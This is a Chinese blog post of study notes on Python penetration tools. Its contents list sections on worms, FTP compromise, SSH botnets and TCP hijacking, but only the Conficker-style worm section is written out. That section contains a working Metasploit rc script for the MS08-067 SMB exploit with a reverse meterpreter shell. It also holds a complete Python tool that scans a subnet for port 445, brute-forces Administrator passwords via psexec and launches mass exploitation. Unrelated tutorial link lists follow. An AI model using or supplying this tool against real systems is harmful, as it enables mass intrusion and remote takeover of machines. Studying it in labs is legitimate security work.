专题 | Python编写渗透工具学习笔记二
目录
0x01编写一个conficker蠕虫
--使用Metasploit攻击Windows SMB服务
--编写Python脚本与Metasploit交互
--爆破SMB口令,远程执行进程
--整合代码
0x02利用FTP与web批量抓肉鸡
--构建匿名ftp扫描器
--爆破ftp用户口令
--在ftp服务器中搜索页面
--在网页中加入恶意代码
--一整份完整的攻击代码
0x03用python构建ssh僵尸网络
--用pxssh暴力破解ssh密码
--构建ssh僵尸网络
--进一步修改完善代码
0x04编写程序分析流量检测ddos攻击
--使用dpkt发现下载loic的行为
--基础知识补充
--解析Hive服务器上的IRC命令
--检测DDoS攻击
--整合脚本
0x05编写脚本劫持tcp会话
--使用scapy制造syn泛洪攻击
--计算tcp序列号
--伪造tcp连接
0x01编写一个conficker蠕虫
整体思路:写好rc脚本-->运行msf执行攻击
Conficker 蠕虫使用了两种不同的攻击方法。首先,它利用了Windows 服务器中一个服务的0day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行shellcode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(ADMIN$)的口令以获取肉机访问权。
这里主要利用了MS08-067的这个漏洞来进行演示
01
使用Metasploit攻击Windows SMB服务
我下面先演示一下利用msf去攻击一台存在该漏洞的电脑
环境说明
- 被攻击机 winxp 10.10.10.129
- 攻击机 kali 10.10.10.128
先把把一下内容写进conficker.rc文件
(可以先把利用代码写进一个rc脚本,然后使用命令 msfconsole -r rc脚本文件名 调用msf来执行rc脚本中的利用代码。)
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.129
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.128
set LPORT 7777
exploit -j -z
这里exploit命令的-j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互。
然后利用msf对靶机进行攻击msfconsole -r /conficker.rc
可以看到我们这里成功的得到了一个反弹shell并获得了一个session,我们打开它
02
编写Python脚本与Metasploit交互
实现思路:
因为smb服务默认端口是445端口,所以我们先要扫描出开放了445端口的主机
然后我们都知道msf可以直接先把利用代码写进一个rc脚本。
然后使用msfconsole -r rc脚本文件名 这样的方式来执行rc脚本中的利用代码。
所以下面我们要编写一个confickerExploit()函数,就是用来实现写入生成漏洞利用代码的一些信息到rc脚本的功能的,例如目标主机、本地地址和端口等,该函数还把指定使用哪个漏洞利用代码的指令也写进rc脚本中。
值得注意的是,在confickerExploit()函数中,脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用对目标主机上的漏洞。因为这个脚本是实现批量式操作的,即会渗透多个目标主机,因而不可能同时与各个主机进行交互而必须使用-j和-z参数。
因为我们到时候是要同时对多台电脑发动攻击,所以我们要为每一个目标都要在本地设置一个不同的lport(本地端口,用来接收会话的)
具体实现思路是用num_host储存扫描出来的开放了445端口的靶机的数量,用num_host来控制总共要设置的端口的数量,并用一个for循环每循环一次让端口的值增加1
(下面的local_port是我们执行脚本的时候自己输入的参数,待会会说)
03
爆破SMB口令,远程执行进程
尽管攻击者已经能成功地在被黑的主机上运行ms08_067_netapi 漏洞利用代码,但防卫者也能很方便地通过安装最新的安全补丁来阻止漏洞利用代码被执行。因此,我们的脚本还需要另一种也在Conficker 蠕虫中使用过的攻击方法。它需要用暴力攻击的方式破解SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec)。输入smbBrute 函数的参数有:Metasploit 脚本文件、目标主机、包含密码列表的另一个文件,以及本机地址和端口。它将用户名设为Windows 的默认管理员administrator,然后打开密码列表文件。对文件中的每个密码,函数都会生成一个用来远程执行(psexec)进程的Metasploit 脚本。如果某个用户名/密码对是正确的,远程执行进程的代码就会运行回连一个命令行shell 到攻击者本机地址及对应的端口。
04
整合代码
05
实例演示
可以看到,我们扫描除了两台开放了445端口的主机,并对它们发动了攻击,最后也成功获得了两台目标机的会话,并使用了 sessions -i 2 命令打开了会话,然后利用meterpreter执行shell 命令得到了一个反弹shell
06
工具完整代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import optparse
import sys
import nmap
#获得目标主机数组(开放了445的主机)
def findTgts(host):
tgtHosts = []
tgthost=host.split('.')
subnet=tgthost[0]+'.'+tgthost[1]+'.'+tgthost[2]+'.'
for num in range(0,256):
try:
host=subnet+str(num)
nmScan = nmap.PortScanner()
nmScan.scan(host, '445')
state = nmScan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
except Exception,e:
print '[!]'+host+' ERROR: '+str(e)
# print len(tgtHosts)
return tgtHosts
#写入用户生成漏洞利用代码的信息
def confickerExploit(configFile,tgtHost,lhost,lport):
configFile.write('use exploit/windows/smb/ms08_067_netapin')
configFile.write('set RHOST ' + str(tgtHost) + 'n')
configFile.write('set payload '+
'windows/meterpreter/reverse_tcpn')
configFile.write('set LPORT ' + str(lport) + 'n')
configFile.write('set LHOST ' + lhost + 'n')
configFile.write('exploit -j -zn')
#爆破SMB口令,远程执行进程
def smbBrute(configFile,tgtHost,passwdFile,lhost,lport='7777'):
username = 'Administrator'
pF = open(passwdFile, 'r')
for password in pF.readlines():
password = password.strip('n').strip('r')
configFile.write('use exploit/windows/smb/psexecn')
configFile.write('set SMBUser ' + str(username) + 'n')
configFile.write('set SMBPass ' + str(password) + 'n')
configFile.write('set RHOST ' + str(tgtHost) + 'n')
configFile.write('set payload '+
'windows/meterpreter/reverse_tcpn')
configFile.write('set LPORT ' + str(lport) + 'n')
configFile.write('set LHOST ' + lhost + 'n')
configFile.write('exploit -j -zn')
#写好rc脚本-->运行msf执行攻击
def main():
#打开一个rc文件
configFile = open('meta.rc', 'w')
#接收和解析命令行参数,以及定义脚本使用说明
parser = optparse.OptionParser('[-] Usage %prog '+
'-H <RHOST[s]> -l <LHOST> -p <LPORT> [-F <Password File>]')
parser.add_option('-H', dest='tgtHost', type='string',
help='specify the target address[es]')
parser.add_option('-p', dest='lport', type='string',
help='specify the listen port')
parser.add_option('-l', dest='lhost', type='string',
help='specify the listen address')
parser.add_option('-F', dest='passwdFile', type='string',
help='password file for SMB brute force attempt')
(options, args) = parser.parse_args()
if (options.tgtHost == None) | (options.lhost == None) | (options.lport == None):
print parser.usage
exit(0)
lhost = options.lhost
lport = options.lport
passwdFile = options.passwdFile
tgtHosts = findTgts(options.tgtHost)
num_host=len(tgtHosts)
lports=[]
for i in range(0,num_host):
local_port=int(lport)+i
lports.append(str(local_port))
for i in range(0,num_host):
tgtHost=tgtHosts[i]
lport=lports[i]
confickerExploit(configFile, tgtHost, lhost, lport)
if passwdFile != None:
smbBrute(configFile,tgtHost,passwdFile,lhost)
configFile.close()
#运行msf
os.system('msfconsole -r meta.rc')
if __name__ == '__main__':
main()
- Java基础-day07-知识点相关题-自定义数据类型;ArrayList
- windows10 tensorflow(二)原理实战之回归分析,深度学习框架(梯度下降法求解回归参数)
- 本人为巨杉数据库(开源NoSQL)写的C#驱动,支持Linq,全部开源,已提交github
- 最近的几个技术问题总结和答疑(九)(r10笔记第16天)
- AgileEAS.NET SOA中间件平台更新日志 2015-04-28
- 【Go 语言社区】Golang语言操作redis连接池的方法
- 分布式消息总线,基于.NET Socket Tcp的发布-订阅框架之离线支持,附代码下载
- 关于Flashback的小测试(r10笔记第15天)
- 分享一个分布式消息总线,基于.NET Socket Tcp的发布-订阅框架,附代码下载
- 【Go 语言社区】Golang语言获取系统环境变量的方法
- Oracle中的PUBLIC(r10笔记第14天)
- Data Guard高级玩法:通过闪回恢复switchover主库 (r10笔记第13天)
- WinForm/MIS项目开发之中按钮级权限实践
- 恢复控制文件避免使用resetlogs选项 (r10笔记第12天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法